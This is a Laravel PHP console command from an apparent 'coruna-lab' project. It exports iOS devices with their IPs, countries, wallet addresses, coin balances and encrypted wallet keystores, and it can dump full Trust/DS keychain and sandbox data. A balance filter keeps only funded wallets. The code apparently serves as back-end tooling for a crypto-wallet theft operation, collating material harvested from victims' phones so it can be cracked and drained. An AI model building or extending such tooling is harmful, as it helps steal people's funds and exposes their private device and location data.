Files
coruna-lab/app/Console/Commands/ExportKeystoreDevicesCommand.php
T
2026-09-17 04:39:16 +08:00

346 lines
11 KiB
PHP

<?php
namespace App\Console\Commands;
use App\Models\Device;
use App\Models\WalletAddress;
use Illuminate\Console\Command;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;
class ExportKeystoreDevicesCommand extends Command
{
/** Skip JSON_EXTRACT on Trust/DS dumps larger than this (bytes). */
private const COMPACT_MAX_BYTES = 262144;
protected $signature = 'coruna:export-keystore-devices
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
{--with-balance : Only devices that have at least one address with a non-zero coin}
{--no-raw : Omit keystore bodies entirely}
{--full-raw : Dump entire raw_json (Trust/DS keychain+sandbox, can be many GB)}';
protected $description = 'Export devices that have both a keystore and wallet addresses';
public function handle(): int
{
DB::disableQueryLog();
$path = $this->resolvePath();
if ($path === null) {
return self::FAILURE;
}
$fh = fopen($path, 'w');
if ($fh === false) {
$this->error('Cannot write: '.$path);
return self::FAILURE;
}
$ids = $this->deviceQuery()->orderBy('id')->pluck('id');
$mode = $this->rawMode();
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
fwrite($fh, "{\n");
fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
fwrite($fh, ' "raw_mode": '.json_encode($mode, $flags).",\n");
fwrite($fh, ' "device_count": '.$ids->count().",\n");
fwrite($fh, ' "devices": ['."\n");
$first = true;
foreach ($ids as $id) {
$device = Device::query()->find($id, [
'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names',
]);
if (! $device) {
continue;
}
if (! $first) {
fwrite($fh, ",\n");
}
$first = false;
$this->writeDevice($fh, $device, $mode, $flags);
unset($device);
gc_collect_cycles();
}
fwrite($fh, "\n ]\n}\n");
fclose($fh);
$this->info('wrote '.$ids->count().' devices -> '.$path);
return self::SUCCESS;
}
private function rawMode(): string
{
if ($this->option('no-raw')) {
return 'none';
}
if ($this->option('full-raw')) {
return 'full';
}
return 'v3';
}
private function resolvePath(): ?string
{
$path = trim((string) $this->option('path'));
if ($path === '') {
$path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
} elseif (! str_starts_with($path, '/')) {
$path = base_path($path);
}
$dir = dirname($path);
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->error('Cannot create directory: '.$dir);
return null;
}
return $path;
}
private function deviceQuery(): Builder
{
return Device::query()
->whereHas('keystores')
->whereHas('addresses', function (Builder $q) {
if (! $this->option('with-balance')) {
return;
}
$q->where(function (Builder $inner) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$inner->orWhere($col, '>', 0);
}
});
});
}
/**
* @param resource $fh
*/
private function writeDevice($fh, Device $device, string $mode, int $flags): void
{
$ksMeta = DB::table('wallet_keystores')
->where('device_id', $device->id)
->orderBy('id')
->get(['id', 'source', 'decrypted', 'created_at']);
$addresses = $this->serializeAddresses($device);
$header = [
'id' => $device->id,
'device_id' => $device->device_id,
'channel_id' => $device->channel_id,
'model' => $device->device_model,
'ios_version' => $device->ios_version,
'ip' => $device->ip,
'country' => $device->country,
'wallet_names' => $device->walletNameList(),
'keystore_count' => $ksMeta->count(),
'address_count' => count($addresses),
'addresses' => $addresses,
];
$encoded = json_encode($header, $flags);
if ($encoded === false) {
fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}');
return;
}
fwrite($fh, substr($encoded, 0, -1));
fwrite($fh, ',"keystores":[');
$ksFirst = true;
foreach ($ksMeta as $row) {
if (! $ksFirst) {
fwrite($fh, ',');
}
$ksFirst = false;
$this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $mode, $flags);
}
fwrite($fh, ']}');
$this->line(sprintf(
'device %s keystores=%d addresses=%d',
$device->device_id,
$ksMeta->count(),
count($addresses),
));
}
/**
* @param resource $fh
*/
private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, string $mode, int $flags): void
{
$len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
$meta = [
'id' => $id,
'source' => $source,
'decrypted' => $decrypted,
'created_at' => $createdAt !== '' ? $createdAt : null,
'raw_json_len' => $len,
];
if ($mode === 'none') {
fwrite($fh, (string) json_encode($meta, $flags));
return;
}
if ($mode === 'full') {
$this->writeFullRaw($fh, $id, $meta, $flags);
return;
}
$this->writeCompactV3($fh, $id, $len, $meta, $flags);
}
/**
* @param resource $fh
* @param array<string, mixed> $meta
*/
private function writeCompactV3($fh, int $id, int $len, array $meta, int $flags): void
{
if ($len > self::COMPACT_MAX_BYTES) {
$meta['omitted'] = 'sandbox_or_keychain';
fwrite($fh, (string) json_encode($meta, $flags));
return;
}
$row = DB::selectOne(
"select
json_extract(raw_json, '$.crypto') as crypto,
json_unquote(json_extract(raw_json, '$.id')) as ks_id,
json_unquote(json_extract(raw_json, '$.type')) as ks_type,
json_unquote(json_extract(raw_json, '$.address')) as address,
json_unquote(json_extract(raw_json, '$.derivationPath')) as derivation_path,
json_extract(raw_json, '$.version') as version,
json_extract(raw_json, '$.imTokenMeta') as imtoken_meta,
json_extract(raw_json, '$.encOriginal') as enc_original,
json_extract(raw_json, '$.identity') as identity
from wallet_keystores where id = ?",
[$id],
);
$crypto = $this->mysqlJson($row->crypto ?? null);
if (! is_array($crypto) || ! isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf'])) {
$meta['omitted'] = 'not_v3';
fwrite($fh, (string) json_encode($meta, $flags));
return;
}
$v3 = array_filter([
'id' => $this->mysqlScalar($row->ks_id ?? null),
'type' => $this->mysqlScalar($row->ks_type ?? null),
'address' => $this->mysqlScalar($row->address ?? null),
'derivationPath' => $this->mysqlScalar($row->derivation_path ?? null),
'version' => $this->mysqlScalar($row->version ?? null),
'crypto' => $crypto,
'imTokenMeta' => $this->mysqlJson($row->imtoken_meta ?? null),
'encOriginal' => $this->mysqlJson($row->enc_original ?? null),
'identity' => $this->mysqlJson($row->identity ?? null),
], static fn ($v) => $v !== null && $v !== '');
$meta['v3'] = $v3;
fwrite($fh, (string) json_encode($meta, $flags));
}
/**
* @param resource $fh
* @param array<string, mixed> $meta
*/
private function writeFullRaw($fh, int $id, array $meta, int $flags): void
{
$blob = DB::selectOne(
'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
[$id],
);
$raw = is_object($blob) ? $blob->raw_json : null;
if (is_array($raw)) {
$raw = json_encode($raw, $flags) ?: 'null';
} elseif (! is_string($raw) && $raw !== null) {
$raw = (string) $raw;
}
$encodedMeta = json_encode($meta, $flags);
fwrite($fh, substr((string) $encodedMeta, 0, -1));
fwrite($fh, ',"raw_json":');
if ($raw === null || $raw === '') {
fwrite($fh, 'null');
} elseif ($this->looksLikeJson($raw)) {
fwrite($fh, $raw);
} else {
fwrite($fh, (string) json_encode($raw, $flags));
}
fwrite($fh, '}');
unset($blob, $raw);
gc_collect_cycles();
}
private function mysqlJson(mixed $value): ?array
{
if (is_array($value)) {
return $value;
}
if (! is_string($value) || $value === '' || $value === 'null') {
return null;
}
$decoded = json_decode($value, true);
return is_array($decoded) ? $decoded : null;
}
private function mysqlScalar(mixed $value): mixed
{
if ($value === null || $value === 'null') {
return null;
}
if (is_string($value) && $value !== '' && ($value[0] === '"' || $value[0] === '{' || $value[0] === '[')) {
$decoded = json_decode($value, true);
if (json_last_error() === JSON_ERROR_NONE) {
return $decoded;
}
}
return $value;
}
private function looksLikeJson(string $raw): bool
{
$trim = ltrim($raw);
return $trim !== '' && ($trim[0] === '{' || $trim[0] === '[');
}
/**
* @return list<array<string, mixed>>
*/
private function serializeAddresses(Device $device): array
{
$addresses = [];
foreach ($device->addresses()->orderBy('id')->cursor() as $addr) {
$coins = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $addr->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$coins[$col] = WalletAddress::formatAmount($col, $raw);
}
$addresses[] = [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type,
'source' => $addr->source,
'mnemonic_id' => $addr->mnemonic_id,
'derive_index' => $addr->derive_index,
'coins' => $coins,
];
}
return $addresses;
}
}